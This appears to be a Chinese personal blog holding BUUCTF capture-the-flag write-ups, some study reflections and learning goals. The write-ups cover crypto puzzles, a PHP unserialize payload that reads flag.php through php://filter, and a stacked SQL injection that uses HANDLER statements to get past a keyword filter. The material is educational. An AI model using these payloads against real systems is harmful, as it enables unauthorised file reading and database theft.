0%

平台:https://buuoj.cn/

解出数从高到低排序

MD5

MD5碰撞:https://www.somd5.com/

一眼就解密

base64解码:https://base64.us/

Url编码

url解码:https://www.bejson.com/enc/urlencode/

看我回旋踢

凯撒密码解码:http://www.metools.info/code/c70.html

摩丝

摩斯电码解码:http://www.zhongguosou.com/zonghe/moErSiCodeConverter.aspx?d=123

password

根据题目提示,密码为姓名加日期:zs19900315

变异凯撒

1
afZ_r9VYfScOeO_UL^RWUc

将前四个字母对照flag可以发现,分别移了5,6,7,8位,因此用python脚本解决

1
2
3
4
5
secret = "afZ_r9VYfScOeO_UL^RWUc"
cnt = 5
for i in secret:
print(chr(ord(i)+cnt), end="")
cnt += 1

Quoted-printable

Quoted-printable解码:http://web.chacuo.net/charsetquotedprintable/

Rabbit

在线Rabbit算法加密解密:http://www.jsons.cn/rabbitencrypt/

篱笆墙的影子

观察即可发现,偶数位0、2、4、6构成了flag,用python脚本解决

1
2
3
4
5
6
7
8
9
secret = "felhaagv{ewtehtehfilnakgw}"
res = ""
cnt = 0
for i in secret:
if(cnt % 2 == 0):
print(i,end="")
res += i
cnt += 1
# flag{wethinkw

只拿到了一半flag,继续观察剩下的密文,修改代码为

1
2
3
4
5
6
7
8
9
10
11
secret = "felhaagv{ewtehtehfilnakgw}"
res_1 = ""
res_2 = ""
cnt = 0
for i in secret:
if(cnt % 2 == 0):
res_1 += i
else:
res_2 += i
cnt += 1
print(res_1+res_2)

得到flag

RSA

1
2
在一次RSA密钥对生成中,假设p=473398607161,q=4511491,e=17
求解出d作为flga提交

https://blog.csdn.net/ISHobbyst/article/details/108918079

加密过程

n=p*q

c=m^e mod n

c=pow(m,e,n)

解密过程

m=c^d mod n

m=pow(c,d,n)

求解私钥d

d = gmpy2.invert(e, (p-1)*(q-1))

一般来说,n,e是公开的,但是由于n一般是两个大素数的乘积,所以我们很难求解出d,所以RSA加密就是利用现代无法快速实现大素数的分解,所存在的一种安全的非对称加密。

用python脚本解出

1
2
3
4
5
6
7
import gmpy2
p = 473398607161
q = 4511491
e = 17
s = (p-1)*(q-1)
d = gmpy2.invert(e,s)
print ("dec: " + str(d))

丢失的MD5

1
2
3
4
5
6
7
8
9
import hashlib   
for i in range(32,127):
for j in range(32,127):
for k in range(32,127):
m=hashlib.md5()
m.update('TASC'+chr(i)+'O3RJMV'+chr(j)+'WDJKX'+chr(k)+'ZM')
des=m.hexdigest()
if 'e9032' in des and 'da' in des and '911513' in des:
print(des)

回显

1
2
3
4
Traceback (most recent call last):
File "C:/Windows/Temp/360zip$Temp/360$3/md5.py", line 6, in <module>
m.update('TASC'+chr(i)+'O3RJMV'+chr(j)+'WDJKX'+chr(k)+'ZM')
TypeError: Unicode-objects must be encoded before hashing

修改python代码,得到flag

1
m.update('TASC'.encode('utf-8')+chr(i).encode('utf-8')+'O3RJMV'.encode('utf-8')+chr(j).encode('utf-8')+'WDJKX'.encode('utf-8')+chr(k).encode('utf-8')+'ZM'.encode('utf-8'))

平台:https://buuoj.cn/

思路

代码审计题,先看传入的参数

1
2
3
4
5
6
7
8
if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

必须要通过is_valid函数才能够反序列化,那我们再看is_valid函数

1
2
3
4
5
6
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

这里规定了字符串的每个字符的ASCII码范围都应该在32-125之间

我们现在去看反序列化,执行__destruct()函数

1
2
3
4
5
6
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

如果op赋值字符串2会被更改

再看process函数

1
2
3
4
5
6
7
8
9
10
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

$this->op == “2”是个弱类型比较,可以通过给op赋值数字2的方法绕过

再看read函数

1
2
3
4
5
6
7
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

题目中包含了flag.php,因此我们可以使用php伪协议

构造payload

1
2
3
4
5
6
7
8
9
10
11
<?php
class FileHandler{
protected $op = 2;
protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
protected $content = "Hello World!";
}
$a = new FileHandler();
echo serialize($a);
?>

# O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";s:12:"Hello World!";}

生成后发现一个问题,*的ascii码值不在32-125之间,更改一下属性为public

1
2
3
4
5
6
7
8
9
10
11
<?php
class FileHandler{
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = "Hello World!";
}
$a = new FileHandler();
echo serialize($a);
?>

# O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;s:12:%22Hello%20World!%22;}

传入参数得到回显,base64解码即可得到flag

1
2
[Result]:
PD9waHAgJGZsYWc9J2ZsYWd7OTEzZWM1NTAtYzI3Yi00OTQ5LWE3ZWEtZmE5MmU4MjE3MDAwfSc7Cg==

平台:https://buuoj.cn/

思路

很显然是sql注入,打开页面后回显

1
2
3
4
5
6
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

用一些常用的命令看看

1
2
3
1';show databases;%23
1';show tables;%23
select

得到两个有用的信息:

  1. flag在FlagHere内

  2. 过滤了以下关键字

    1
    return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

但是没有过滤handler

因此这里可以这样堆叠注入

1
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;%23

handler

1
HANDLER ... OPEN语句打开一个表,使其后续可以使用HANDLER ... READ语句访问。该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

从去年开始接触安全,到现在,很多东西仍然是一知半解。

之前的学习方式也有些 “面向笔记学习“ 的感觉,”做了笔记就说明我学了“,这样的想法未免可笑。

既然想要做渗透,精通python才能不沦为“脚本小子”;后端开发也是我本学期要自学的,否则在团队里真的无作用了。

本月目标:

  • 《Python基础教程》
  • 《Java核心技术卷一》

严格地说,这是我的第三个博客。

第一个博客搭建在zsq大佬的服务器上,我基本没有操作;第二个博客搭建在阿里赠送的云服务器上,写了两篇文章后便置之不理。

29日的秋期考核让我意识到我必须做出一些改变了。博客既是我成长的记录,也是我成长的辅助。今天,就是新的起点。

不要做被世界改变的人,要做改变世界的人。 ——Derait·Buendia